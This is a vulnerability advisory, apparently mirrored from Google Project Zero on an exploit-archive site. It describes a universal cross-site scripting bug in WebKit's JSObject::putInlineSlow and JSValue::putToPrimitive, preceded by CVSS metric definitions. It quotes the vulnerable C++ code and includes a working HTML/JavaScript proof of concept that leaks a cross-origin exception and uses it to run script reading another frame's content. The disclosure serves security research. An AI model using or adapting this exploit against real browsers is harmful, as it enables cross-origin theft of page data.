The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: WebKit JSObject::putInlineSlow / JSValue::putToPrimitive Universal XSS
WebKit: Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive
VULNERABILITY DETAILS
```
bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
ASSERT(!isThisValueAltered(slot, this));
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSObject* obj = this;
for (;;) {
unsigned attributes;
PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1***
if (isValidOffset(offset)) {
if (attributes & PropertyAttribute::ReadOnly) {
ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this);
return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
}
JSValue gs = obj->getDirect(offset);
if (gs.isGetterSetter()) {
// We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
if (!structure(vm)->isDictionary())
slot.setCacheableSetter(obj, offset);
bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2***
RETURN_IF_EXCEPTION(scope, false);
return result;
}
if (gs.isCustomGetterSetter()) {
// We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
if (attributes & PropertyAttribute::CustomAccessor)
slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
else
slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value);
RETURN_IF_EXCEPTION(scope, false);
return result;
}
ASSERT(!(attributes & PropertyAttribute::Accessor));
// If there's an existing property on the object or one of its
// prototypes it should be replaced, so break here.
break;
}
[...]
JSValue prototype = obj->getPrototype(vm, exec);
RETURN_IF_EXCEPTION(scope, false);
if (prototype.isNull())
break;
obj = asObject(prototype);
}
```
This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240.
`putInlineSlow` and `putToPrimitive` now call the access-checked `getPrototype` method instead of
`getPrototypeDirect`. However, they still use `Structure::get` directly[1], which bypasses access
checks implemented in functions that override `JSObject::put`. Thus, an attacker can put a
cross-origin object into the prototype chain of a regular object and trigger the invocation of a
cross-origin setter. If the setter raises an exception while processing the passed value, it's
possible to leak the exception object and gain access to, e.g., another window's function
constructor.
Since this issue is only exploitable when a victim page defines a custom accessor property on the
`location` object, its practical impact is minimal.
VERSION
WebKit revision 247430
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
<body>
<script>
frame = document.body.appendChild(document.createElement('iframe'));
frame.src = `data:text/html,
<h1>secret data</h1>
<script>
location.__defineSetter__('foo', function(value) {
alert('Received value: ' + value);
});
</s` + `cript>`;
function turnLeakedExceptionIntoUXSS(object) {
try {
object.foo = {toString: function() { return {} } };
} catch (e) {
let func = e.constructor.constructor;
func('alert(document.body.innerHTML)')();
}
}
frame.onload = () => {
// putInlineSlow
turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location});
// putToPrimitive
num = 1337;
num.__proto__.__proto__ = frame.contentWindow.location;
turnLeakedExceptionIntoUXSS(num);
}
</script>
</body>
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.
Found by: [email protected]
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum